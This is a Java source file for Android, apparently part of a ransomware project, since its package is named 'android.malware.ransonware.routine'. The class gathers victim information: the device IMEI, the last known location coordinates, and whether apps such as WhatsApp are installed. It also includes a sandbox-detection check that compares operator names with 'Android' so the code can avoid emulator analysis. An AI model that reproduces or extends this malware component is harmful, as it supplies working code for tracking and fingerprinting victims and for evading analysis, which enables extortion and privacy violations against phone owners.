package android.malware.ransonware.routine;

import android.content.Context;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.location.LocationManager;
import android.telephony.TelephonyManager;

public class AndroidDeviceInfo {

	private Context context;

	public AndroidDeviceInfo(Context context) {
		this.context = context;
	}

	public String getImei() {
		return ((TelephonyManager) context
				.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId();
	}

	public double getLatitude() {
		return ((LocationManager) context
				.getSystemService(Context.LOCATION_SERVICE))
				.getLastKnownLocation(LocationManager.NETWORK_PROVIDER)
				.getLatitude();
	}

	public double getLongitude() {
		return ((LocationManager) context
				.getSystemService(Context.LOCATION_SERVICE))
				.getLastKnownLocation(LocationManager.NETWORK_PROVIDER)
				.getLongitude();
	}

	/*
	 * com.whatsapp : whatsapp
	 */
	public boolean isPackageExist(String packageName) {
		try {
			context.getPackageManager().getApplicationInfo(packageName,
					PackageManager.GET_META_DATA);
		} catch (NameNotFoundException e) {
			return false;
		}
		return true;
	}
	
	/*
	 * Running in SandBox ?
	 */
	public boolean inSandBox() {
		if (((TelephonyManager) context.getSystemService("phone"))
				.getNetworkOperatorName().equals("Android")
				|| ((TelephonyManager) context.getSystemService("phone"))
						.getSimOperatorName().equals("Android")) {
			return true;
		}
		return false;
	}
}
